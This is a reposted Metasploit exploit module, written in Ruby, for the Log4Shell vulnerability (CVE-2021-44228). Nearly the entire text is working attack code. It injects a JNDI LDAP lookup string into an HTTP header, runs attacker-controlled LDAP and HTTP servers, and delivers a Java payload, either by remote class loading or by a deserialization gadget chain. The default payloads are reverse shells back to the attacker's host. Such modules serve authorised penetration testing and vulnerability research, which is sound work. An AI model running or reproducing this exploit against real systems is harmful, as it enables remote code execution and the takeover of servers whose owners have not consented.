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Log4Shell HTTP Header Injection

2022-01-12 17:15
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::JavaDeserialization  include Msf::Exploit::Java  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::LDAP::Server  include Msf::Exploit::Remote::CheckModule  prepend Msf::Exploit::Remote::AutoCheck  def initialize(_info = {})    super(      'Name' => 'Log4Shell HTTP Header Injection',      'Description' => %q{        Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,        log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.        This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that        will trigger an LDAP connection to Metasploit and load a payload.        The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP        server in addition to the LDAP server that the target can connect to. The targeted application must have the        trusted code base option enabled for this technique to work.        The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to        run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target        application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.      },      'Author' => [        'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff        'juan vazquez', # 2011-3544 building blocks reused in this module        'sinn3r', # 2011-3544 building blocks reused in this module        'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance        'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure      ],      'References' => [        [ 'CVE', '2021-44228' ],      ],      'DisclosureDate' => '2021-12-09',      'License' => MSF_LICENSE,      'DefaultOptions' => {        'SRVPORT' => 389,        'WfsDelay' => 30,        'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'      },      'Targets' => [        [          'Automatic', {            'Platform' => 'java',            'Arch' => [ARCH_JAVA],            'RemoteLoad' => true,            'DefaultOptions' => {              'PAYLOAD' => 'java/shell_reverse_tcp'            }          }        ],        [          'Windows', {            'Platform' => 'win',            'RemoteLoad' => false,            'DefaultOptions' => {              'PAYLOAD' => 'windows/meterpreter/reverse_tcp'            }          },        ],        [          'Linux', {            'Platform' => 'unix',            'RemoteLoad' => false,            'Arch' => [ARCH_CMD],            'DefaultOptions' => {              'PAYLOAD' => 'cmd/unix/reverse_bash'            }          },        ]      ],      'Notes' => {        'Stability' => [CRASH_SAFE],        'SideEffects' => [IOC_IN_LOGS],        'AKA' => ['Log4Shell', 'LogJam'],        'Reliability' => [REPEATABLE_SESSION],        'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]      },      'Stance' => Msf::Exploit::Stance::Aggressive    )    register_options([      OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),      OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),      OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),      OptEnum.new('JAVA_GADGET_CHAIN', [        true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',        Msf::Util::JavaDeserialization.ysoserial_payload_names      ], conditions: %w[TARGET != Automatic]),      OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),      OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])    ])  end  def check    validate_configuration!    # set these scanner options as appropriate based on the config    datastore['URIS_FILE'] = nil    if !datastore['HTTP_HEADER'].blank?      datastore['HEADERS_FILE'] = nil    end    @checkcode = super  end  def jndi_string    "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"  end  def resource_url_string    "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"  end  #  # Use Ruby Java bridge to create a Java-natively-serialized object  #  # @return [String] Marshalled serialized byteArray of the loader class  def byte_array_payload(pay_class = 'metasploit.PayloadFactory')    jar = generate_payload.encoded_jar    serialized_class_from_jar(jar, pay_class)  end  #  # Insert PayloadFactory in Java payload JAR  #  # @param jar [Rex::Zip::Jar] payload JAR to update  # @return [Rex::Zip::Jar] updated payload JAR  def inject_jar_payload_factory(jar = generate_payload.encoded_jar)    # From exploits/multi/browser/java_rhino - should probably go to lib    paths = [      [ 'metasploit/PayloadFactory.class' ]    ]    paths.each do |path|      1.upto(path.length - 1) do |idx|        full = path[0, idx].join('/') + '/'        jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)      end      File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|        data = fd.read(fd.stat.size)        jar.add_file(path.join('/'), data)      end    end    jar  end  #  # Generate and serialize the payload as an LDAP search response  #  # @param msg_id [Integer] LDAP message identifier  # @param base_dn [Sting] LDAP distinguished name  #  # @return [Array] packed BER sequence  def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')    if target['RemoteLoad']      attrs = [        [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,        [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,        [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,        [ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,      ]    else      java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)      # vprint_good("Serialized java payload: #{java_payload}")      attrs = [        [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,        [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence      ]    end    appseq = [      base_dn.to_ber,      attrs.to_ber_sequence    ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)    [ msg_id.to_ber, appseq ].to_ber_sequence  end  ## LDAP service callbacks  #  # Handle incoming requests via service mixin  #  def on_dispatch_request(client, data)    return if data.strip.empty?    data.extend(Net::BER::Extensions::String)    begin      pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))      vprint_status("LDAP request data remaining: #{data}") unless data.empty?      resp = case pdu.app_tag             when Net::LDAP::PDU::BindRequest # bind request               client.authenticated = true               service.encode_ldap_response(                 pdu.message_id,                 Net::LDAP::ResultCodeSuccess,                 '',                 '',                 Net::LDAP::PDU::BindResult               )             when Net::LDAP::PDU::SearchRequest # search request               if client.authenticated || datastore['LDAP_AUTH_BYPASS']                 client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))                 service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)               else                 service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)               end             else               vprint_status("Client sent unexpected request #{pdu.app_tag}")               client.close             end      resp.nil? ? client.close : on_send_response(client, resp)    rescue StandardError => e      print_error("Failed to handle LDAP request due to #{e}")      client.close    end    resp  end  ## HTTP service callbacks  #  # Handle HTTP requests and responses  #  def on_request_uri(cli, request)    agent = request.headers['User-Agent']    vprint_good("Payload requested by #{cli.peerhost} using #{agent}")    pay = regenerate_payload(cli)    jar = inject_jar_payload_factory(pay.encoded_jar)    send_response(cli, 200, 'OK', jar)  end  #  # Create an HTTP response and then send it  #  def send_response(cli, code, message = 'OK', html = '')    proto = Rex::Proto::Http::DefaultProtocol    res = Rex::Proto::Http::Response.new(code, message, proto)    res['Content-Type'] = 'application/java-archive'    res.body = html    cli.send_response(res)  end  def exploit    validate_configuration!    if datastore['HTTP_HEADER'].blank?      targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first      http_header = targetinfo[:headers].keys.first if targetinfo      fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header      print_good("Automatically identified vulnerable header: #{http_header}")    else      http_header = datastore['HTTP_HEADER']    end    # LDAP service    start_service    # HTTP service    start_http_service if target['RemoteLoad']    # HTTP request initiator    send_request_raw(      'uri' => normalize_uri(target_uri),      'method' => datastore['HTTP_METHOD'],      'headers' => { http_header => jndi_string }    )    sleep(datastore['WfsDelay'])    handler  ensure    cleanup  end  #  # Kill HTTP & LDAP services (shut them down and clear resources)  #  def cleanup    # Clean and stop HTTP server    if @http_service      begin        @http_service.remove_resource(datastore['URIPATH'])        @http_service.deref        @http_service.stop        @http_service = nil      rescue StandardError => e        print_error("Failed to stop http server due to #{e}")      end    end    super  end  private  # Boilerplate HTTP service code  #  # Returns the configured (or random, if not configured) URI path  #  def resource_uri    path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'    path = '/' + path if path !~ %r{^/}    if path !~ /.jar$/      print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")      path += '.jar'    end    datastore['URIPATH'] = path    return path  end  #  # Handle the HTTP request and return a response.  Code borrowed from:  # msf/core/exploit/http/server.rb  #  def start_http_service(opts = {})    comm = datastore['ListenerComm']    if (comm.to_s == 'local')      comm = ::Rex::Socket::Comm::Local    else      comm = nil    end    # Default the server host / port    opts = {      'ServerHost' => datastore['SRVHOST'],      'ServerPort' => datastore['HTTP_SRVPORT'],      'Comm' => comm    }.update(opts)    # Start a new HTTP server    @http_service = Rex::ServiceManager.start(      Rex::Proto::Http::Server,      opts['ServerPort'].to_i,      opts['ServerHost'],      datastore['SSL'],      {        'Msf' => framework,        'MsfExploit' => self      },      opts['Comm'],      datastore['SSLCert']    )    @http_service.server_name = datastore['HTTP::server_name']    # Default the procedure of the URI to on_request_uri if one isn't    # provided.    uopts = {      'Proc' => method(:on_request_uri),      'Path' => resource_uri    }.update(opts['Uri'] || {})    proto = (datastore['SSL'] ? 'https' : 'http')    print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")    if (opts['ServerHost'] == '0.0.0.0')      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")    end    # Add path to resource    @service_path = uopts['Path']    @http_service.add_resource(uopts['Path'], uopts)  end  def validate_configuration!    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])    if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']      fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')    end  endend


Source: 5600102202-BLW/eussi/moc.ytirucesxc

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